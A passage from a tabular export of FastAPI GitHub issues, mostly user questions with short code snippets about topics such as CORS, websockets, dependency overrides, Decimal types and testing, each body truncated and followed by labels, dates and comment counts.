- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def package_mjpeg(img_bytes: bytes, metadata: FrameMetadata = None) -> bytes:
        """"""Package jpeg bytes with MJPEG headers and frame separator

        Also append metadata if present
        """"""
        mjpeg = b""Content-Type: image/jpeg\r\n\r\n""
        mjpeg += img_bytes + b""\r\n""

        if metadata:
            mjpeg += b""Timestamp:"" + bytes(str(metadata.time), ""utf-8"")
            mjpeg += b""\r\n""
            mjpeg += b""Sequence:"" + bytes(str(metadata.sequence), ""utf-8"")
            mjpeg += b""\r\n""

        mjpeg += b""--frame\r\n""

        return mjpeg

async def async_gen(camera: BaseCamera) -> Generat... [TRUNCATED]","question,question-migrate",2022-10-04T09:09:42Z,2023-02-27T21:25:11Z,3
tiangolo/fastapi,1394747969,Is installing websockets a requirement?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# no code
```


### Description

The documentation asks users to install `websockets` ([link](https://fastapi.tiangolo.com/advanced/websockets/#install-websockets)); however, I don't see any dependency on the `websockets` library in the code. It seems like all `websocket` dependencies are satisfied via `starlette`, which also does not seem to use it.

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.0

### Python Version

3.8.13

### Additional Context

_No response_","question,question-migrate",2022-10-03T13:35:53Z,2023-02-27T21:25:08Z,4
tiangolo/fastapi,1394272021,CORS issue : Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
origins = [""https://abcd-1234.preview.abc.com"",
    ""https://something.netlify.app"",""http://localhost:3000/"",
    ""http://localhost.tiangolo.com"",""https://localhost.tiangolo.com""
    ]

app.add_middleware(
    CORSMiddleware,
    allow_origins=origins,
    allow_credentials=True,
    allow_methods=[""*""],
    allow_headers=[""*""],
)
```


### Description

Facing issue with : ""https://abcd-1234.preview.abc.com

Access to XMLHttpRequest at 'https://server.com/login' from origin 'https://abcd-1234.preview.abc.com' has been blocked by CORS policy: **Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origi... [TRUNCATED]","question,question-migrate",2022-10-03T07:29:39Z,2023-02-27T21:25:05Z,3
tiangolo/fastapi,1393886390,Dependecies overrides are not taken into account into the apenapi document,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, FastAPI, Header
from fastapi.security import OAuth2PasswordBearer
from fastapi.testclient import TestClient

app = FastAPI()


def get_user_id() -> int:
    pass


def get_user(user_id=Depends(get_user_id)) -> str:
    return f""{user_id}""


oauth2_scheme = OAuth2PasswordBearer(tokenUrl=""token"")


def get_user_id_from_auth_override(token: str = Depends(oauth2_scheme)) -> int:
    return 1


def get_user_id_from_header_override(user_id: int = Header()) -> int:
    return user_id


@app.get(""/user"")
def read_user(
    user: str = Depends(get_user),
):
    return user


client = TestClient(app... [TRUNCATED]","question,investigate,question-migrate",2022-10-02T20:17:55Z,2023-02-28T15:42:45Z,0
tiangolo/fastapi,1393833751,"Communicate with another Fast API project through gunicorn unix socket, without nginx","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
bind = 'unix:/var/www/myproject/socket/backend.sock'
workers = 1
worker_class = 'uvicorn.workers.UvicornWorker'
```


### Description

The code example shows my gunicorn configuration for two projects running on the same machine ( using different bind socket path for each project ). I would like to know if it's possible to send requests to unix socket, from a Fast API project 'A' to another Fast API project 'B', without having to setup an Nginx proxy. Reason being is that project 'B' is for internal use, and I don't want any public access to it. I assume if it's possible to request directly the socket, it's a better and clea... [TRUNCATED]","question,question-migrate",2022-10-02T17:10:20Z,2023-02-27T21:25:03Z,2
tiangolo/fastapi,1393539208,Load local file,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# THE ROOT API
# the data is a list of dictionaries
@app.get(""/"")
async def root():
    data = open('valid.json')
    json_data = json.load(data)

    return json_data[0]
```


### Description

I am trying to load a local json file on my computer using my fast API main.py file. But I keep on getting a file not found error.
What could be the issue and how can I solve this problem considering I need to use the json content in the file within the app itself and not return it to an end user

### Operating System

Windows

### Operating System Details

Chrome OS

### FastAPI Version

0.85.0

### Python Version

3.8.12

### Additional Context

_No ... [TRUNCATED]","question,question-migrate",2022-10-01T20:14:24Z,2023-02-27T21:24:59Z,4
tiangolo/fastapi,1393407075,"cannot use playwright-python in fastapi, got NotImplementedError","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
// api.py
from playwright.async_api import async_playwright
class FS131VIAPI:
    def __init__(self):
        self.cookie = None
    async def fetch(self, params):
        await self.login_for_cookie()
        logger.info(params)

    async def login_for_cookie(self):
        async with async_playwright() as p:
            browser = await p.chromium.launch(headless=False)
            context = await browser.new_context()
            page = await context.new_page()
            await page.goto(""https://cn.bing.com/"")
            print(await page.title())
            print(await context.cookies())
            self.cookie = await context... [TRUNCATED]","question,investigate,question-migrate",2022-10-01T13:36:32Z,2023-02-28T15:42:42Z,6
tiangolo/fastapi,1393063700,HTTPException is not picklable,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pickle
import unittest
from fastapi import HTTPException

def pickle_reduce(self):
    return (HTTPException, (self.status_code, self.detail))

#uncomment to fix
#HTTPException.__reduce__ = pickle_reduce



class TestModelStats(unittest.TestCase):
    def test_pickle_exc_http(self): # this will fail
        pbytes = pickle.dumps(
            HTTPException(status_code = 404, detail=""Not found"")
        )
        obj = pickle.loads(pbytes) 
        print(type(obj), obj)
```


### Description

This can be worked around using the above

see:     # make this unpicklable
    # python - How to make a custom exception class with m... [TRUNCATED]","question,answered,question-migrate",2022-09-30T22:00:13Z,2023-02-27T21:24:55Z,9
tiangolo/fastapi,1388350106,grpc.aio Dependancy Injection Best Practice ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# An example based very roughly on https://github.com/grpc/grpc/blob/master/examples/python/helloworld/async_greeter_client.py
from fastapi import FastAPI, Depends

app = FastAPI()

import grpc
import helloworld_pb2
import helloworld_pb2_grpc

async def get_stub():
    async with grpc.aio.insecure_channel('localhost:50051') as channel:
        stub = helloworld_pb2_grpc.GreeterStub(channel)
        yield stub

@app.get(""/"")
async def my_endpoint_with_a_grpc_stub(stub = Depends(get_stub)):
    response = await stub.SayHello(helloworld_pb2.HelloRequest(name='you'))
    return f""Greeter client received: {response.messa... [TRUNCATED]","question,question-migrate",2022-09-27T20:40:06Z,2023-02-27T21:24:52Z,4
tiangolo/fastapi,1388169260,Generate AWS API Gateway-compatible Swagger Schemae,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List
from fastapi import FastAPI
from fastapi.openapi.utils import get_openapi
from typing import Any, Generic, Optional, Tuple, Type, TypeVar
from pydantic import BaseModel, validator
from pydantic.generics import GenericModel

app = FastAPI(
    title=""AMP Data Platform"",
    description=""TBW"",
    version=""0.1"",
    docs_url=""/docs"",
    openapi_url=""/openapi.json"",
    redoc_url=None,
)


DataT = TypeVar(""DataT"")


class Error(BaseModel):
    code: int
    message: str


class Response(GenericModel, Generic[DataT]):
    data: Optional[DataT]
    error: Optional[Error]

    @validator(""error"", always... [TRUNCATED]","question,investigate,reviewed,question-migrate",2022-09-27T18:11:52Z,2023-02-28T15:42:39Z,0
tiangolo/fastapi,1387832667,How to use Decimal as type in fastapi?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from decimal import Decimal, getcontext

getcontext().prec = 4

class DiscountItem(BaseModel):
    name: Optional[str] = None
    total: Decimal
```


### Description

I would like to know how the precision value of the Decimal type can be used with fastapi.
I would like to have maximum 4 decimals digits but setting the precision with the getcontext method does not seem to work.
It seem this value is not taken into account by the model, is it possible ?
What can be done to make it work ?

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.75.2

### Python Version

3.10.6

### Additional Context

... [TRUNCATED]","question,investigate,question-migrate",2022-09-27T14:07:46Z,2023-02-28T15:42:36Z,3
tiangolo/fastapi,1387551041,"Specifying a port does not work, always a random port is assigned.","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app= FastAPI(
    redoc_url= None,
)

app.get(""/"")
async def root():
    return (""test"")
```


### Description

I am trying to run the code above,

`python -m uvicorn main:app --port=8000 --reload`

Which runs the API, that part is OK. However, the port is always assigned randomly and I cannot find a way to fix this.

INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
INFO:     Started reloader process [2432] using StatReload
INFO:     Started server process [2524]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     ... [TRUNCATED]","question,question-migrate",2022-09-27T10:56:45Z,2023-02-27T21:24:47Z,7
tiangolo/fastapi,1386484367,Tamil Translation,"Hi everyone,

We are starting this thread for tracking and coordinating tamil translation.

### Contribution
- Please let us know what page you are interested in translating so that we can coordinate
- Put up a PR, tag this issue in the PR and wait for reviews
- fix potential issues and get it merged 

When you face potential issues during translation of technical terms, like `docker`, `container` etc feel free to put it here.","feature,lang-all,lang-ta",2022-09-26T17:51:37Z,2023-03-04T10:26:30Z,1
tiangolo/fastapi,1384786318,Use existing OpenAPI-definition,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()

# …doesn’t matter
```


### Description

Is there a way to use an existing OpenAPI-definition? I saw that the OpenAPI-generator provides a Beta-Option to generate FastAPI-stubs, but that seems to be a little backwards, given the close relation between FastAPI and OpenAPI.

Using an additional API-definition is more time consuming from a usage point of view, however it adds the following benefits:

- Contract driven development
- Easier type safety
- Not needing a running OpenAPI-app to re-generate the Frontend-API

### Operating System

Linux

### Operating System Details

Arch Linux, newest ker... [TRUNCATED]","question,answered,question-migrate",2022-09-24T19:19:35Z,2023-02-27T21:24:43Z,5
tiangolo/fastapi,1384247537,How to pytest aiohttp when used in FastAPI,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
import aiohttp

app = FastAPI()


@app.get(""/"")
async def root():
    async with aiohttp.ClientSession() as session:
        async with session.get(""http://httpbin.org/get"") as response:
            return response.json()

# I'm not sure how to set up a pytest function to mock and test apihttp
```


### Description

I've got a FastAPI application that makes HTTP GET requests to another service using the Requests module. I'd like to make these endpoints asynchronous using aiohttp, but I don't know how to build pytest functions to mock and test the functions with aiohttp in them.

### Operating System

Linux

###... [TRUNCATED]","question,question-migrate",2022-09-23T20:01:49Z,2023-02-27T21:24:39Z,9
tiangolo/fastapi,1384203788,Error while opening swagger docs while uploading file in APIRouter,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
router = APIRouter(
    prefix='/predict',
    tags=[""Prediction""],
    responses={404: {""description"": ""Not Found""}}
)


@router.post(""/"")
async def predict(file: UploadFile = File(...)):
    extension = file.filename.split(""."")[-1] in (""jpg"", ""jpeg"", ""png"")
    if not extension:
        raise HTTPException(status_code=400, detail=""File Format Error : Uploaded file must be a JPG, JPEG or PNG file"")
    image = read_image_file(await file.read())
    result = predict_pneumonia(image)
    if result > 0.6:
        return JSONResponse(content={""prediction"": ""pneumonia""})
    return JSONResponse(content={""prediction"": ""no... [TRUNCATED]","question,answered,question-migrate",2022-09-23T19:11:49Z,2023-02-27T21:24:35Z,6
tiangolo/fastapi,1384056064,How to identify query params with keys only and no value,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.get(""/events"")
def get_alerts(request: Request)
    params = request.query_params
```


### Description

I want to handle a use case where I want to handle a use case where if a query param is passed but no value is set, I would return a specific message. I want a different behavior when to when it is not passed at all.

I tried using request.query_params but it doesn't get the Key in the request as well.

Postman request looks like this:
<img width=""805"" alt=""image"" src=""https://user-images.githubusercontent.com/104721284/192010955-160c2418-63f3-46ac-9f64-a416b92c03ae.png"">




### Operating System

macOS

### Operating System Deta... [TRUNCATED]","question,answered,question-migrate",2022-09-23T16:46:06Z,2023-02-27T21:24:31Z,6
tiangolo/fastapi,1383594587,Not able to train a spacy model using FASTAPI + UVICORN setup,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastpi import FastAPI, Body
from spacy.cli.train import train

app = FastAPI()


@app.post(""/training"")
def root(key = Body(embed = True)):
    train(""scratch_config.cfg"", output_path=""this_day"", overrides={""paths.train"": ""train.spacy"", ""paths.dev"": ""valid.spacy""}) # this is the function used for training a spacy model
```


### Description

Command to start the server:

`uvicorn spacy_train:app --workers 4`

Actual behaviour:

```
[2022-09-23 15:21:22 +0530] [24893] [ERROR] Exception in ASGI application                                                                                                                                 ... [TRUNCATED]","question,question-migrate",2022-09-23T10:23:16Z,2023-02-27T21:24:27Z,5
tiangolo/fastapi,1383293953,Unidirectional websocket connections where only the server pushes data to the clients,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.websocket(""/ws"")
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    while True:
        data = await websocket.receive_text()
        await websocket.send_text(f""Message text was: {data}"")
```


### Description

Hello,
Is there a way I could send data to clients over websocket without listening for when clients send data back. I'm trying to have a websocket endpoint where the server is pushing data to the client in a unidirectional way without the option for the client to send responses back. There doesn't seem to be any code that I could find that supports this since all the documentation seems to require... [TRUNCATED]","question,question-migrate",2022-09-23T04:49:36Z,2023-02-27T21:24:23Z,7
tiangolo/fastapi,1383215614,getting (set_wakeup_fd only works in main thread) when i my unit test cases,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
======================================================================================================== test session starts ========================================================================================================
platform win32 -- Python 3.8.0, pytest-7.1.3, pluggy-1.0.0
rootdir: C:\Users\Documents\New_Laptop\2021\Python\WorkingFastapi\FastAPI
plugins: anyio-3.6.1, bdd-6.0.1                                                  
collected 1 item

tests\testHelloWorld.py F                                                                                                                                                                    ... [TRUNCATED]","question,answered,question-migrate",2022-09-23T02:31:45Z,2023-02-27T21:24:19Z,5
tiangolo/fastapi,1383203563,Could I  use one method to handle requests with diffrent path length,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.allmethod(""/aaa/{xxx}"")
def process_method()：
    response=request(method,url,header)
    return response

```


### Description

i want to use one method to handle requests with diffrent path length .different headers,different method
for example,i have many requests here :
/aaa/  post {""xx"":""xx""}
/aaa/bbb/ get 
/aaa/xxx put 
/aaa/bbb/ccc  -H ""xx:xx""   patch
/aaa/bbb/xxx  head   
/aaa/bbb/ccc/ddd
is there a method like this can handle all of these requests and directly response the right reponse?

@router.allmethod(""/aaa/{xxx}"")
def process_method()：
    response=request(method,url,header)
    return ... [TRUNCATED]","question,answered,question-migrate",2022-09-23T02:10:44Z,2023-02-27T21:24:16Z,4
tiangolo/fastapi,1383148133,Implement Textarea support,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
Yes, this is a swagger UI issue.

Fastapi doesn't support a textinput line greater than one row tall. This code implements this by hacking the javascript:

https://stackoverflow.com/questions/69874134/fastapi-textarea-openapi-for-form-data

Could something like this be merged in for Fastapi?
```


### Description

See above

### Wanted Solution

https://stackoverflow.com/questions/69874134/fastapi-textarea-openapi-for-form-data

### Wanted Code

```python
https://stackoverflow.com/questions/69874134/fastapi-textarea-openapi-for-form-data
```


### Alternatives

_No response_

### Operating System

Linux, Windows, macOS

### Operating System Det... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-09-23T00:21:53Z,2023-02-27T21:24:13Z,5
tiangolo/fastapi,1382821882,default_factory argument not working correctly on optional Body and Query fields,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Optional

from fastapi import FastAPI, Body, Query


app = FastAPI()


def body_default():
    return -1


def query_default():
    return -2


@app.post(""/"")
async def root(
    my_query: Optional[int] = Query(default_factory=query_default),
    my_body: Optional[int] = Body(embed=True, default_factory=body_default),
):
    return {""body"": my_body, ""query"": my_query}


@app.post(""/error"")
async def error(
    my_body: Optional[int] = Body(embed=True, default=0, default_factory=body_default),
):
    return {}
```


### Description

i want to use default_factory on Body and Query

make a post request wi... [TRUNCATED]","question,question-migrate",2022-09-22T18:00:22Z,2023-02-27T21:24:10Z,2
tiangolo/fastapi,1381378207,FastAPI return internal server error when response model validation fails,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Body, Depends, FastAPI, HTTPException, Path, Query, Request
from pydantic import BaseModel, Field, ValidationError
from pprint import pprint as pp

app = FastAPI()


class MetadataOut(BaseModel):
    """"""
    Model for Metadata
    """"""

    region: str = Field(
        ...,
        title=""region"",
        description=""region - one of dc00|dc01|dc02"",
        regex=r""^(dc00|dc01|dc02)$"",
    )


@app.get(""/api/v1/metadata/fail"", response_model=MetadataOut)
def metadatafail():
    return {""region"": ""whoops""}


@app.get(""/api/v1/metadata/failwitherror"", response_model=MetadataOut)
def metada... [TRUNCATED]","question,question-migrate",2022-09-21T19:10:32Z,2023-02-27T21:24:06Z,9
tiangolo/fastapi,1381032023,Getting valueError when running unit test cases,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
